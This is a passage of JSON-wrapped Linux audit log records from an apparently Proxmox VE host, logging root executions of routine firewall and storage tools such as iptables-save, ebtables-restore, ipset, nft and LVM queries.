msg=audit(1781965574.136:66180): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964855614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.614:62930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PATH msg=audit(1781966260.983:69113): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965574112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965574.112:66179): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964855607,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.607:62929): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PATH msg=audit(1781966260.977:69112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965573.518:66178): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.600:62928): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PATH msg=audit(1781966260.977:69112): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965573.518:66177): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.594:62927): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PATH msg=audit(1781966260.977:69111): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965573518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965573.518:66176): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855588,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.588:62926): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PATH msg=audit(1781966260.977:69110): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965573512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965573.512:66175): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.585:62925): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=61a92bf36740 items=0 ppid=1156 pid=60376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PATH msg=audit(1781966255.968:69109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965573512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965573.512:66174): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.583:62924): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0eccf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PATH msg=audit(1781966255.968:69109): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965573511,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965573.511:66173): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.577:62923): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PATH msg=audit(1781966255.968:69108): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965568.499:66172): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.572:62922): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1476c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=PATH msg=audit(1781966255.968:69107): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965568.499:66171): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.566:62921): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f08a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PATH msg=audit(1781966255.957:69106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965568499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965568.499:66170): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.561:62920): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1476c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PATH msg=audit(1781966255.957:69106): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965568.490:66169): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855556,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.556:62919): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8af5c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PATH msg=audit(1781966255.957:69105): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965568.490:66168): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.550:62918): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=PATH msg=audit(1781966255.957:69104): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965568490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965568.490:66167): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964855544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.544:62917): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255418,"@rawstring":"node=pve type=PATH msg=audit(1781966255.418:69102): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.361:66166): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964855540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.540:62916): arch=c000003e syscall=59 success=yes exit=0 a0=5dd6d7cede90 a1=5dd6d7ceac10 a2=5dd6d7ccc680 a3=5 items=2 ppid=60362 pid=60368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255418,"@rawstring":"node=pve type=PATH msg=audit(1781966255.418:69102): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.356:66165): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964855537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.537:62915): arch=c000003e syscall=59 success=yes exit=0 a0=5dd6bfefcac8 a1=7fff6d858690 a2=5dd6d7ccc680 a3=5dd6bfee024e items=2 ppid=60362 pid=60364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255414,"@rawstring":"node=pve type=PATH msg=audit(1781966255.414:69101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.356:66164): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.536:62914): arch=c000003e syscall=59 success=yes exit=0 a0=7fff6d858650 a1=5dd6d7cd3310 a2=5dd6d7ccc680 a3=5 items=2 ppid=60362 pid=60363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255414,"@rawstring":"node=pve type=PATH msg=audit(1781966255.414:69101): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.356:66163): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.531:62912): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255411,"@rawstring":"node=pve type=PATH msg=audit(1781966255.411:69100): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.350:66162): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.525:62911): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255411,"@rawstring":"node=pve type=PATH msg=audit(1781966255.411:69100): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.344:66161): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.517:62910): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=PATH msg=audit(1781966255.410:69099): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.336:66160): proctitle=\"iptables-save\""} {"@timestamp":1781964855513,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.513:62909): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb745feb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=PATH msg=audit(1781966255.410:69099): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.330:66159): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855506,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.506:62908): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=PATH msg=audit(1781966255.410:69098): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565322,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.322:66158): proctitle=\"iptables-save\""} {"@timestamp":1781964855499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.499:62907): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60f2370 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255406,"@rawstring":"node=pve type=PATH msg=audit(1781966255.406:69097): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.318:66157): proctitle=\"ebtables-restore\""} {"@timestamp":1781964854523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964854.523:62906): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d734b9d0 a1=64f8d73db000 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60354 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255406,"@rawstring":"node=pve type=PATH msg=audit(1781966255.406:69097): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565315,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.315:66156): proctitle=\"ebtables-restore\""} {"@timestamp":1781964854494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964854.494:62905): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb5e0 a1=64f8d73bfab0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255406,"@rawstring":"node=pve type=PATH msg=audit(1781966255.406:69097): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.310:66155): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964850.883:62904): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255400,"@rawstring":"node=pve type=PATH msg=audit(1781966255.400:69096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565301,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.301:66154): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964850.875:62901): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255400,"@rawstring":"node=pve type=PATH msg=audit(1781966255.400:69096): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.296:66153): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.867:62898): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255395,"@rawstring":"node=pve type=PATH msg=audit(1781966255.395:69095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.290:66152): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.856:62895): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255395,"@rawstring":"node=pve type=PATH msg=audit(1781966255.395:69095): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.285:66151): proctitle=697073657400726573746F7265"} {"@timestamp":1781964845485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.485:62892): arch=c000003e syscall=59 success=yes exit=0 a0=5f84606c2e90 a1=5f84606bfc10 a2=5f84606a1680 a3=5 items=2 ppid=60342 pid=60348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255388,"@rawstring":"node=pve type=PATH msg=audit(1781966255.388:69094): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965565277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965565.277:66150): proctitle=\"ip6tables-save\""} {"@timestamp":1781964845482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964845.482:62891): arch=c000003e syscall=59 success=yes exit=0 a0=5f8446eb7ac8 a1=7ffd17d29f30 a2=5f84606a1680 a3=5f8446e9b24e items=2 ppid=60342 